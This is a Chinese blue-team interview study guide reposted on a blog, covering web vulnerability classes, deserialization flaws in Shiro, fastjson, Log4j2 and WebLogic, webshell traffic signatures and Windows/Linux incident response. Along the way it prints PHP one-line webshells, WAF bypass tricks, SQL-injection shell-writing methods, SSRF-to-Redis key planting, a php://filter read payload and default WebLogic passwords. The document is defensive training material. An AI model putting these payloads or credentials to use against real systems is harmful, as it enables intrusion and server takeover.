护网蓝队面试

news2025/1/17 3:16:33

在这里插入图片描述

一、sql注入分类

**原理:**没有对用户输入项进行验证和处理直接拼接到查询语句中

查询语句中插⼊恶意SQL代码传递后台sql服务器分析执行

**从注入参数类型分:**数字型注入、字符型注入

**从注入效果分:**报错注入、布尔注入、延时注入、联合注入、堆叠注入、宽字节注入

**从提交方式分:**GET注入、POST注入、HTTP头注入、COOKIE注入

**报错注入用到的函数:**updatexml、floor、extractvalue,exp

**布尔盲注用到的函数:**substr,mid,left,right,ascii,ord,char,length

**时间盲注用到的函数:**sleep

SQL注入防御

  • 对关键函数或字符过滤:union select order by information_schema等
  • 下载相关防范注入文件,通过incloude函数包含在网站配置文件里面
  • pdo预处理,使用预编译语句
  • 添加白名单来规范输入验证方法
  • 对客户端输入进行控制,限制特殊字符和函数的输入

SQL注入绕过waf

  • 大小写双写、双写关键字、空格、
  • 使用编码:unioncode编码 十六进制编码 url编码
  • 等价函数:mid,substr(),substring() &&和||> and 和or =号可以用<>因为如果不大于不小于就是等于

SQL注入写shell条件:

  • 知道web服务器的绝对路径
  • 数据库具有root权限
  • secure_file_priv函数 没有特殊的值
  • PHP关闭魔术引号,php主动转义功能关闭

SQL写入shell的方式:

通过本地写入into outfile函数

通过日志写入需要对 general_log 和 general_log_file 变量进行更改

通过sqlmap --os-shell命令写入

**二次注入:**后端代码对用户输入的数据进行了转义,然后在保存到数据库的时候是没有进行转 义,然后再从数据库当中取出数据的时候,没有对数据库中的特殊字符进行转义和验证,就可能 形成闭合,导致注入

防御:使用统一编码格式utf-8对用户输入的内容进行验证过滤

其他常见漏洞

csrf

**原理:**跨站点请求伪造。盗用用户身份,以用户的名义发送恶意请求

ssrf

**原理:**利用网络请求的服务当跳板攻击内部其他服务

文件包含

**原理:**攻击者通过操纵应用程序对文件路径的处理,将恶意文件包含到应用程序中执行

文件上传

**原理:**对上传文件无限制后缀以及类型或者处理缺陷、导致越过本身权限向服务器上马

绕过方法:

上传特殊可解析后缀

上传.htaccess(可帮助修改文件扩展名)

.user.ini文件里的意思是:所有的php文件都自动包含指定的文件

后缀大小写、双后缀名、空格(黑名单)

MIME、%00截断、0x00截断绕过(白名单)

在url中%00表示ascll码的0 ,而ascii码的0,表示字符串结束,所以当url中出现%00时就会认为读取已结束
0x00原理相同

文件头

xss

**原理:**插入恶意脚本、实现对用户浏览器攻击

**类型:**存储、反射、dom

**反射和dom区别:**DOM-XSS是javascript处理输出、⽽反射性xss是后台程序处理

xxe

**原理:**解析用户传入的xml

**作用:**内⽹端⼝扫描、利⽤file协议等读取⽂件、攻击内⽹web应⽤使⽤get(struts2等)

二、如何判断文件上传一次攻击

响应包是200,返回的有没有路径,请求包的报文内容有没有上传木马,尝试访问路径,能不能执行命令

三、命令执行和代码执行

**命令执行:**Web应用的脚本代码在执行命令的时候过滤不严,从而注入一段攻击者能够控制的代 码,在服务器上以Web服务的后台权限远程执行恶意指令

**原因:**代码层过滤不严,系统的漏洞造成命令注入,调用的第三方组件存在代码执行漏洞常见执行 函数:exec、shell_exec、system、passthru、popen

**代码执行:**由于服务器对危险函数过滤不严,导致用户输入的一些字符串可以被转换成代码来执行, 从而造成代码执行

**原因:**用户能够控制函数输入,存在可执行代码的危险函数,常见执行函数:eval、assert、 preg_replace()

四、CSRF 和 XSS 和 XXE 有什么区别

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。

修复方式: 对字符实体进行转义

使用HTTP Only来禁止JavaScript读取Cookie值

输入时校验

浏览器与Web应用端采用相同的字符编码

CSRF是跨站请求伪造攻击,是由于没有在关键操作执行时进行是否由用户自愿发起的确认,模仿合法用户对服务器发起请求 。

修复方式: 筛选出需要防范CSRF的页面然后嵌入Token

再次输入密码

检验Referer

XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

修复方式: XML解析库在调用时严格禁止对外部实体的解析

五、一些漏洞

shiro是apache的java安全框架,用于执行身份验证、授权、密码和会话管理

使用shiro易于理解的API(程序接口),可以快速轻松对应用程序进行保护

Shiro550原理导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功 能时会在请求包中生成一个cookie,cookie的value值是经过序列化->aes加密->base64加密后 的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞, 攻击者可以构造恶意代码,将恶意代码序列化-AES加密-base64加密后传入cookie,这样就导致 RCE漏洞。

Shiro 721原理Shrio所使用的cookie里的rememberMe字段采用了AES-128-CBC的加密模式, 这使得该字段可以被padding oracle 攻击利用。攻击者可以使用一个合法有效的rememberMe 的cookie作为前缀来实施POA,然后制造一个特制的rememberMe来执行Java反序列化攻击。

shrio550和721的区别主要区别

在于Shiro550使用已知默认密码,只要有足够的密码,不需要 Rememberme的Cookie;Shiro721的AES加密的key为系统随机生成,需要利用登录后的 rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

fastjson反序列化漏洞原理:

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)

1、fastjson提供的反序列化功能允许用户传入json格式数据的时候通过@type的value值指定任 意反序列化类名

2、fastjson的反序列化机制会将反序列的类进行实例化对象,并调用该对象的setter和部分getter方法

3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法,如果 这些方法中存在Gadget,就会造成一些安全问题。

4、官方采取黑名单过滤的方法,对反序列化的类名进行校验,checkAutoType不断被绕过

log4j2原理:

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具

Apache Log4j2中存在JNDI注入漏洞,主要原理是利用log4j2的日志输出jndi远程 对象时,调用远程对象没做检查导致,程序将用户输入的数据进行日志记录时即可触发该漏洞并可 在目标服务器上执行任意代码。该漏洞利用过程需要找到一个能触发远程加载并应用配置的输入 点,迫使服务器远程加载和修改配置的前提下使目标系统通过JNDI远程获取数据库源,触发攻击者的恶意代码

Struts2原理:

将用户要求按照业务逻辑执行并且返回结果

用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式 %{value}进行解析,然后重新填充到对应的表单数据中。

例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

Weblogic:

漏洞描述:

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机。T3协议在开放WebLogic控制台端口的应用上默认开启。攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击(开放Weblogic控制台的7001端口,默认会开启T3协议服务,T3协议触发的Weblogic Server WLS Core Components中存在反序列化漏洞,攻击者可以发送构造的恶意T3协议数据,获取目标服务器权限。)

远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议(EJB支持远程访问,且支持多种协议。这是Web Container和EJB Container的主要区别)在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过JRMP协议(Java Remote Messaging Protocol:java远程消息交换协议)达到执行任意反序列化payload的目的。

**T3协议:**用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。

**RMI:**远程方法调用

使用协议:JRMP

T3就是对JRMP的优化。Java RMI 的基础通信协议是 JRMP ,但是也支持开发其他的协议来优 化 RMI 的传输,这里的 Weblogic 的 T3 协议就是其优化版本,相比于JRMP协议多了一些特 性。T3协议传输过程中就是序列化和反序列化方式

**利用:**将原本存在的序列化内容替换成我们payload的序列化内容,在传输完成后,进行反序列 化达成攻击的目的

Jboss

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免 费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核 心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

两种利用方式,第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞;另一种是利用Java 反序列化进行远程代码执行的漏洞

弱口令漏洞

system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

六、webshell管理工具

菜刀

base64加密,php马有eval,(base64_decode ($POST[z0])),&z0=QGluaV9zZXQ

蚁剑

以 0x 开头的参数名,@ini_set(“display_errors”,“0”)

冰蝎

1、大量的 content-type:application,content-type 为 application/octet-stream。

2、默认内置 16 个 ua,content-length 请求长度payload 都为定长

3、Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱 特征

哥斯拉

1、pass =eval(base64_decode…,pass=加密数据

2、user-agent,accept,accept-language 固定

一共会产生3个 POST 数据包,POST请求报文中参数名都是 pass (即shell的连接密码),参 数值都是加密数据。

七、windows+Linux应急响应流程

检查系统账号安全查看服务器是否有弱口令

远程管理端口是否对公网开放

查看服务器是否存在可疑账号、新增账号

查看服务器是否存在隐藏账号、克隆账号

检查异常端口、进程

检查启动项、计划任务、服务

查看可疑文件和目录

查看webshell创建的时间

Windows入侵排查思路

1.检查系统账号安全 2.查看服务器是否有弱口令,远程管理端口(3389)是否对公网开放(使用 netstat -ano 命令、或者问服务器管理员) 3.lusrmgr.msc(本地用户和本地用户组) 快捷命令查 看服务器是否存在可疑账号、新增账号,如有管理员群组的(Administrators)里的新增账户, 如有,请立即禁用或删除掉 4.用 D 盾或者注册表(regedit)中查看服务器是否存在隐藏账号、克隆 账号 5.结合日志,查看管理员登录时间、用户名是否存在异常,使用eventvwr.msc打开“事件查 看器”,导出 Windows 日志–安全,利用 Log Parser 进行分析 6.检查异常端口、进程 netstat - ano检查端口连接情况,是否有远程连接、可疑连接 然后使用 tasklist |findstr PID 进行定位 7. 使用快捷命令 msconfig查看是否存在命名异常的启动项目, 输入regedit注册表中查看开机启动项是否正常,输入gpedit.msc查看本地组策略,使用services.msc检查是否有异常服务 8.检查系统相关信息 systeminfo查看系统版本以及补丁信息 查找可疑目录及文件

Linux入侵排查思路

bash的账户,正常为/nologin 2.查看本机开启端口服务信息 netstat -anlutp,然后去查看每个开 启服务所产生的日志信息 (var/log目录下)(举例如何查看mysql日志,首先登录mysql,然后 使用 show variables like ‘%general_log%’ 查看日志是否开启和路径信息) 二、 服务入侵排查 1.使用last命令检查系统登录日志,统计ip登录错误次数和登录情况 2.使用 ls -l 查看 /etc/passwd文件 的修改时间 查看是否有特权用户 查看网站开启的端口ss -anlutp 3.使用ps - elf 看UID为0的进程 查看ssh的公钥是否被修改 4.查看网站根目录(/var/www)下是否存在可疑 文件 5.查看计划任务 /etc/crontab 三、异常启动排查 1.ps -elf 查看进程 2.查看linux 系统服务 /etc/rc.d/init.d 3.查看用户自定义开机启动程序 /etc/rc.d/rc.local

应急响应流程

1、收集信息:搜集客户信息和中毒信息,备份

2、判断类型:判断是否是安全事件、是何种安全事件(勒索病毒、挖矿、断网、ddos等)

3、深入分析:日志分析、进程分析、启动项分析、样本分析

4、清理处置:杀掉恶意进程、删除恶意文件、打补丁、修复文件

5、产出报告:整理并输出完整的安全事件报告

windows应急

1.查看系统账号安全

查看服务器是否有弱口令、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放

win+r(eventwmr.msc)查看系统日志,查看管理员登录时间、用户名是否存在异常

2.检查异常端口、进程

netstat -ano 检查端口连接情况,是否有远程连接、可疑连接

tasklist | findstr "PID"根据pid定位进程

使用功能查杀工具

3.启动项检查、计划任务、服务

检查服务器是否有异常的启动项,msconfig看一下启动项是否有可以的启动

检查计划任务,查看计划任务属性,可以发现木马文件的路径

见擦汗服务自启动,services.msc注意服务状态和启动类型,检查是否有异常服务

4.检查系统相关信息

查看系统版本以及补丁信息 systeminfo

查找可以目录及文件 是否有新建用户目录 分析最近打开分析可疑文件 (%UserProfile%\Recent)

5.自动化查杀

使用360 火绒剑 webshell后门可以使用d盾 河马等

6.日志分析

360星图日志分析工具 ELK分析平台

linux应急

1、检查用户及密码文件/etc/passwd、/etc/shadow 是否存在多余帐号,主要看一下帐号后面 是否是 nologin,如果没有 nologin 就要注意;

2、通过 who 命令查看当前登录用户(tty 本地登陆 pts 远程登录)、w 命令查看系统信息,想 知道某一时刻用户的行为、uptime查看登陆多久、多少用户,负载;

3、修改/etc/profile的文件,在尾部添加相应显示间、日期、ip、命令脚本代码,这样输入 history命令就会详细显示攻击者 ip、时间历史命令等;

4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所对应的进程文件路径, 运行ls -l /proc/ P I D / e x e 或 f i l e / p r o c / PID/exe 或 file /proc/ PID/exefile/proc/PID/exe($PID 为对应的pid 号);

5、使用ps命令,分析进程 ps aux | grep pid

6、使用 vi /etc/inittab 查看系统当前运行级别,通过运行级别找到/etc/rc.d/rc[0~6].d对应目录 是否存在可疑文件;

7、看一下crontab定时任务是否存在可疑启用脚本;

8、使用chkconfig --list 查看是否存在可疑服务;

9、通过grep awk命令分析/var/log/secure安全日志里面是否存在攻击痕迹;

10、chkrootkit、rkhunter、Clamav 病毒后门查杀工具对 Linux 系统文件查杀;

11、如果有 Web 站点,可通过 D 盾、河马查杀工具进行查杀或者手工对代码按脚本木马关键 字、关键涵数(evel、system、shell_exec、exec、passthru system、popen)进行查杀 Webshell 后门。

八、windows事件ID

事件ID说明
4624登录成功
4625登录失败
4634注销成功
4647用户启动的注销
4672使用超级用户(如管理员)进行登录
4720创建用户

九、sql注入

如何判断是攻击还是误报

第一时间去判断内网还是外网,内网大部分都是172 192 10 如果是内网对内网,大概率是真实业务,很少见打到内网,查询字段内容,响应包是否是正常业务,看状态码判断攻击成功

如果是外网,先去看状态码 如果是200,微步平台看是否是恶意ip 先上报封禁,攻击报文如果是正常业务 那我们对这个业务监控,如果是sql语句攻击,看里面报文的攻击语句,比如常见sleep函数延时注入,extractvalue、updatexml函数 的报错注入,把攻击行为给客服反馈过去

十、ssrf打redis

ssrf扫描内网,端口6379redis,然后redis未授权漏洞利用

利用dict协议可以扫描开放的端口,探测指纹信息,可以攻击redis服务 dict://ip:port/info 截获get请求包和post请求包,再构造成符合gopher协议的请求,从而模拟redis通信

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字 为authorized_keys,将一开始生成的SSH公钥写入authorized_keys文件中。

十一、PHP一句话木马

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
<script language="php">eval($_GET['cmd']);</script>
GIF89a? <script language="php">eval($_REQUEST['mima'])</script>

十二、序列化反序列化及其流量特征

**序列化:**对象转换为字符串

**反序列化:**字符串转换为对象

流量特征:

**shiro反序列化:**查看cookie中rememberme字段,恶意命令要从这里传入。判断是否有漏洞, 查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。

**fastjson反序列化:**请求报文中查找json格式的数据,重点看有无rmi或者出网的一些行为

**st2-045:**请求头中的Content-Type字段

十三、常见的设备,出现误报怎么办

奇安信天眼,设备类型:全流量,天眼、EDR、全流量告警、态势感知、APT、蜜罐设备,微步tdp,青藤云HIDS,明御安全网关先去查看设备的完整流量日志等信息确认是否为误报,误报那就是规则问题,上报处置,提供规则优化建议

十四、wireshark指令

http contains “关键字”

http.response.code == 200

http.request.method == POST

tcp.prot == 80

ip.addr == "10.1.1.1"ip.srcip.dst

十五、中挖矿病毒怎么解决

首先ps -aux查看进程分析

然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒

最后kill进程,rm掉程序

删不掉这么办

先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般 可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查

将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启 动、删服务,结束恶意进程、删病毒

**删不掉:**确认一下一下是因为程序在使用,还是权限不够,更具具体情况采取措施 直接降权,降权到没有执行权限

十六、拿到webshell不出网情况下怎么办

reg上传去正向连接。探测出网协议,如dns,icmp

十七、怎么排查java内存马

直接利用内存马检测工具去找,github也有很多检测脚本,手工的话可以分析web日志,filter或者listener类型的内存马,会有大量路径相同参数不同的url请求,或者页面不存在但是返回200的请求,分析web.xml文件,内存马的Filter是动态注册的,web.xml是没有配置的,也有可能是中间件漏洞通过代码执行加载内存马,这就可以去排查中间件的错误日志,像哥斯拉和冰蝎的内存马也会有跟webshell相似的特征,分析特殊的classloader加载,攻击者喜欢利用TemplatesImpl和bcel加载内存马,因为内存马是驻留在内存里的,本地无class文件,通过检测Filter对应的ClassLoader目录下是否存在class文件来判断,也可以把内存中所有的Filter的class dump出来,使用工具分析是否存在恶意代码

十八、蜜罐原理

**创建虚拟环境:**在网络中创建一个看似易受攻击的虚拟环境,该环境模拟真实系统的一部分或全 部功能,包括应用程序、服务和操作系统。

**引诱攻击者:**通过暴露蜜罐的存在,例如通过公开可访问的IP地址或虚假的网站,吸引攻击者主 动尝试入侵、扫描或攻击蜜罐系统。

**监测和记录:**一旦攻击者进入蜜罐系统,蜜罐会记录攻击者的行为、攻击技术和使用的工具。 这些信息对于理解攻击者的策略和行为非常有价值。

**分析和响应:**通过分析记录的数据,研究人员可以识别攻击者的行为模式、漏洞利用方法和漏洞 的目标。

这些信息可以用于改进真实系统的安全性,及时发现和应对新的威胁。 蜜罐的优势在于能够提供高质量的攻击数据和情报,帮助安全团队更好地了解攻击者的行为模式和目的,加强防御措施并及时应对威胁。

然而,蜜罐也需要专业人员来设计、部署和管理,以确保其安全性和有效性,并避免对真实系统 造成潜在的风险。

十九、内存马查杀&原理

java内存马原理

通过在Java虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在Java虚拟机中注入特定的Java类、变量或方法等Java对象,然后在Java虚拟机中运行这些代码,实现对受害者机器的远程控制

java内存马排查

利用Java Agent技术遍历所有已经加载到内存中的class。 先判断是否是内存马,是则进入内存查杀。

识别

1,filter名字很特别

2,filter优先级是第一位

3,对比web.xml中没有filter配置

4,特殊classloader加载

5,对应的classloader路径下没有class文件

6,Filter的doFilter方法中 有恶意代码

清除

1、清除内存马中的Filter的恶意代码,2、 模拟中间件注销Filter

二十、常见的危险PHP函数总结

eval() — 把字符串作为PHP代码执行

语法eval( string $code ) : mixed

把字符串 code 作为PHP代码执行。

这个函数一般都是攻击者用的,没什么人会拿这个放到自己的源码里面

PHP官方也给出了警告

image-20240627111043558

assert() — 检查一个断言是否为 false (把字符串作为PHP代码执行)

语法

PHP 5

assert( mixed $assertion , string $description = ? ) : bool

PHP 7

assert( mixed $assertion , Throwable $exception = ? ) : bool

assert()会检查指定的 assertion 并在结果为 false 时采取适当的行动(把字符串 $assertion 作为PHP代码执行)

preg_replace — 执行一个正则表达式的搜索和替换

语法

preg_replace( mixed $pattern , mixed $replacement , mixed $subject , int KaTeX parse error: Expected 'EOF', got '&' at position 18: …mit = -1 , int &̲count = ? ) : mixed

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

preg_replace("/test/e",$_GET["h"],"jutst test");

如果我们提交 ?h=phpinfo(),/e就会将h参数当做PHP代码,phpinfo()将会被执行。

引发命令执行的危险函数

system — 执行外部程序,并且显示输出

说明

system( string $command , int &$return_var = ? ) : string

同 C 版本的 system()函数一样, 本函数执行 command 参数所指定的命令, 并且输出执行结果。

如果 PHP 运行在服务器模块中, system()函数还会尝试在每行输出完毕之后, 自动刷新 web服务器的输出缓存。

如果要获取一个命令未经任何处理的 原始输出,请使用 passthru()函数。

举个例子

<?php system("whoami");?>

image-20240627111507963

exec — 执行一个外部程序

exec()执行 command 参数所指定的命令

举个例子

<?php echo exec("whoami");?>

image-20240627111548732

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字 符串的方式返回。

<?php echo shell_exec("whoami");?>

passthru — 执行外部程序并且显示原始输出

<?php passthru("whoami");?>
引发文件包含的危险函数

主要作用为包含并运行指定文件。

  1. include():代码执行到此函数时才将文件包含进来,发⽣错误时只警告并继续执行
  2. include_once():功能和前者一样,区别在于调用同一文件时,程序只调用一次
  3. require():立即调用此函数包含文件,发⽣错误时,会输出错误信息 并⽴即终⽌程序
  4. require_once():功能和前者一样,区别在于调用同一文件时,程序只调用一次

include $file;

在变量 $file 可控的情况下,我们就可以包含任意文件,从而达到 getshell 的目的。

另外,在不同的配置环境下,可以包含不同的文件。

因此又分为远程文件包含和本地文件包含。

包含函数也能够读取任意文件内容,这就需要用到【支持的协议和封装协议】和【过滤器】。

例如,利用php流filter读取任意文件

include($_GET[‘file’]);

?file=php://filter/convert.base64-encode/resource=index.php

解释:?file=php:// 协议 / 过滤器 / 文件

引发文件操作的危险函数

copy

file_get_contents()

highlight_file()

fopen()

read file()

fread()

fgetss()

fgets()

parse_ini_file()

show_source()

file()

任意文件读取、写入、删除往往是上面几个函数受到了控制(当然还有其他的函数)。 不同的函数在不同的场景有不同的作用和不同的利用手法。

读取:可以读取配置等文件,拿到key

写入:可以写入shell代码相关的内容

删除:可以删除.lock文件而可以重新安装覆盖

更多思路请自行挖掘测试!!

引发信息泄露的危险函数

phpinfo — 输出关于 PHP 配置的信息

getenv — 获取一个环境变量的值

get_current_user — 获取当前 PHP 脚本所有者名称

getlastmod — 获取页面最后修改的时间

ini_get — 获取一个配置选项的值

glob — 寻找与模式匹配的文件路径

引发XEE的危险函数

__construct()

addAttribute()

addChild()

asXML()

attributes()

children()

getDocNamespaces()

getName()

getNamespaces()

registerXPathNamespace()

simplexml_import_dom()

simplexml_load_file()

simplexml_load_string()

xpath()

引发反序列化的危险函数

序列化函数:serialize()

反序列化函数:unserialize()

魔术函数:

__construc()

__destruct()

__call()

__callStatic()

__get()

__set()

__isset()

__unset()

__sleep()

__wakeup()

__toString()

__invoke()

__set_state()

__clone()

__debuginfo()

二十一、Java危险函数

Java命令执行的函数

Runtime类

Runtime类是私有的, 类的对象无法通过这种方式注册: Runtime r = new Runtime() ;

只能通过静态方法(getRuntime)获取: Runtime r = Runtime.getRuntime();

ProcessBuilder类

这种复现本质意义不大,重点是记一下敏感函数,

rce2Servlet.java

ProcessImpl类ProcessImpl类通常是为ProcessBuilder.start()创建新进 程服务的,不能直接去调用。

看到ProcessImpl类构造器私有,所以不能直接对其进行实例化,为了演示可以用反射进行调 用。

在获取到一个静态方法后,必须用setAccessible修改它的作用域,否则不能调用。

二十二、如何快速判定xss类型

存储型xss:

发送⼀次带XSS代码的请求,以后这个⻚⾯的返回包⾥都会有XSS代码

反射型xss:

发送⼀次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码

dom型xss:

发送⼀次带XSS代码的请求,在返回包⾥压根⼉就找不到XSS代码的影⼦

二十三、csrf、ssrf和重放攻击有什么区别

CSRF是跨站请求伪造攻击,由客户端发起

SSRF是服务器端请求伪造,由服务器发起

重放攻击是将截获的数据包进⾏重放,达到身份认证等⽬的

常见对应端口及服务

image-20240610192109884

设备

安全设备
奇安信天眼
设备类型:全流量
大致使用方法
天眼首页截图:

左边监测控制台,打开,有告警信息:

分析时觉得IP有问题可以在攻击IP中搜索

打开告警列表(奇安信网神?):

点击详情,显示如下内容:

微步tdp/tip
TDP的
主页面:

主要点击外部攻击的外部攻击项

告警主机项,上面可以查询IP:

内网渗透分析,被攻陷后可以看网络拓扑:

优势项:自动识别一些恶意IP,即答:tdp威胁情报发现有利于溯源分析


青藤云HIDS
设备类型:全流量
大致使用方法
主页面,主机资产,安全台账功能,将可疑IP放到里面点击主机详情,看是不是内部IP:

点击入侵事件,查看告警,点击告警的漏洞名称,可以跳到类似于天眼的详情信息页面

可以查日志,筛选IP/域名/进程进行查询

优势项:可以直接发现暴力破解,不需要人工添加规则

明御安全网关
总结优势
HIDS:对全网信息捕捉

微步:

攻击发现,会显示攻击者画像 方便溯源分析
威胁情报发现,发现恶意IP
亚信:ei拦截的恶意文件会自动在an中运行检测生成报告

ddei邮件网关,过滤垃圾邮件,对恶意文件隔离
ddan沙箱(=微步云沙箱):检测恶意文件,分析恶意样本,收集攻击信息,生成行为报告

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1881539.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Python时序预测系列】基于LSTM实现多输入多输出单步预测(案例+源码)

这是我的第312篇原创文章。 一、引言 单站点多变量输入多变量输出单步预测问题----基于LSTM实现。 多输入就是输入多个特征变量 多输出就是同时预测出多个标签的结果 单步就是利用过去N天预测未来1天的结果 二、实现过程 2.1 读取数据集 dfpd.read_csv("data.csv&qu…

Java进阶学习|Day3.Java集合类(容器),Stream的使用,哈希初接触

java集合类&#xff08;容器&#xff09; Java中的集合类主要由Collection和Map这两个接口派生而出&#xff0c;其中Collection接口又派生出三个子接口&#xff0c;分别是Set、List、Queue。所有的Java集合类&#xff0c;都是Set、List、Queue、Map这四个接口的实现类&#xf…

7月408规划,保底100冲120+!

两句话看懂408&#xff01; 408是计算机考研全国统考考试的代码&#xff0c;只是一个代码。 408由教育部统一出题&#xff0c;包含四门课程&#xff0c;分别是数据结构&#xff0c;计算机组成原理&#xff0c;计算机网络&#xff0c;操作系统.。 参考教材是&#xff1a; 数…

WPF的IValueConverter用于校验和格式化TextBox的数字输入

在数据绑定&#xff08;Data Binding&#xff09;的上下文中&#xff0c;我们经常使用继承 IValueConverter 接口的类&#xff0c;用于在源值和目标值之间进行转换。该接口定义了两个方法&#xff1a;Convert 和 ConvertBack&#xff0c;这两个方法分别用于从源值到目标值的转换…

【折腾手机】一加6T刷机postmarketOS经历和体验

写在前面 到目前为止&#xff0c;我已经花了非常多的时间去学习和了解x86架构和RISC-V架构&#xff0c;对它们的指令集编程、指令格式的设计、编译套件的使用都亲自去体会和实践过&#xff0c;学到了很多的东西。但是对于离我们最近的arm架构却了解甚少。为什么说离我们最近呢…

探索数据赋能的未来趋势:嵌入式BI技术的挑战与突破

数据分析能力越来越成为消费者和企业的必备品应用程序&#xff0c;复杂程度各不相同&#xff0c;从简单地一个网页或门户上托管一个可视化或仪表板&#xff0c;到在一个云服务上实现数据探索、建模、报告和可视化创建的应用程序。BI的实现方式越来越多&#xff0c;无论规模大小…

自动雪深传感器的类型

TH-XL2随着科技的飞速发展&#xff0c;气象监测技术也在不断进步。在降雪天气频发的冬季&#xff0c;雪深数据对于保障道路交通、农业生产和电力供应等具有至关重要的作用。自动雪深传感器作为气象监测的重要工具&#xff0c;其类型多样、功能各异&#xff0c;为气象数据的准确…

国产分布式数据库灾备高可用实现

最近在进行核心业务系统的切换演练测试&#xff0c;就在想一个最佳的分布式数据库高可用部署方案是如何保证数据不丢、系统可用的&#xff0c;做到故障时候可切换、可回切&#xff0c;并且业务数据的一致性。本文简要介绍了OceanBase数据库和GoldenDB数据库在灾备高可用的部署方…

leetCode-hot100-动态规划专题

动态规划 动态规划定义动态规划的核心思想动态规划的基本特征动态规划的基本思路例题322.零钱兑换53.最大子数组和72.编辑距离139.单词拆分62.不同路径63.不同路径Ⅱ64.最小路径和70.爬楼梯121.买卖股票的最佳时机152.乘积最大子数组 动态规划定义 动态规划&#xff08;Dynami…

嫦娥六号成功带回月球背面土壤,嫦娥七号整装待发,2030年前实现载人登月!

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 嫦娥六号圆满成功 嫦娥六号任务是中国探月工程的一次重大成功&#xff0c;探测器于5月3日在中国文昌航天发射场发射升空并进入地月转移轨道。经…

【SQL】已解决:SQL分组去重并合并相同数据

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例五、注意事项 已解决&#xff1a;SQL分组去重并合并相同数据 在数据库操作中&#xff0c;数据的分组、去重以及合并是常见需求。然而&#xff0c;初学者在编写SQL语句时&#xff0c;可能会遇到一…

2024华为OD机试真题- 电脑病毒感染-(C++/Python)-C卷D卷-200分

2024华为OD机试题库-(C卷+D卷)-(JAVA、Python、C++) 题目描述 一个局域网内有很多台电脑,分别标注为 0 ~ N-1 的数字。相连接的电脑距离不一样,所以感染时间不一样,感染时间用 t 表示。 其中网络内一台电脑被病毒感染,求其感染网络内所有的电脑最少需要多长时间。如果…

整合、速通 版本控制器-->Git 的实际应用

目录 版本控制器 -- Git1、Git 和 SVN 的区别2、Git 的卸载和安装2-1&#xff1a;Git 卸载1、先查下原本的Git版本2、删除环境变量3、控制面板卸载 Git 2-2&#xff1a;Git 下载安装1、官网下载2、详细安装步骤3、安装成功展示 3、Git 基础知识3-1&#xff1a;基本的 Linux 命令…

逆向开发环境准备

JDK安装 AndroidStudio安装 默认sdk路径 C:\Users\Administrator\AppData\Local\Android\Sdk 将platform-tools所在的目录添加到path C:\Users\Administrator\AppData\Local\Android\Sdk\platform-tools 主要目的是使用该目录下的adb等命令 将tools所在的目录添加到path C:\Us…

LabVIEW风机跑合监控系统

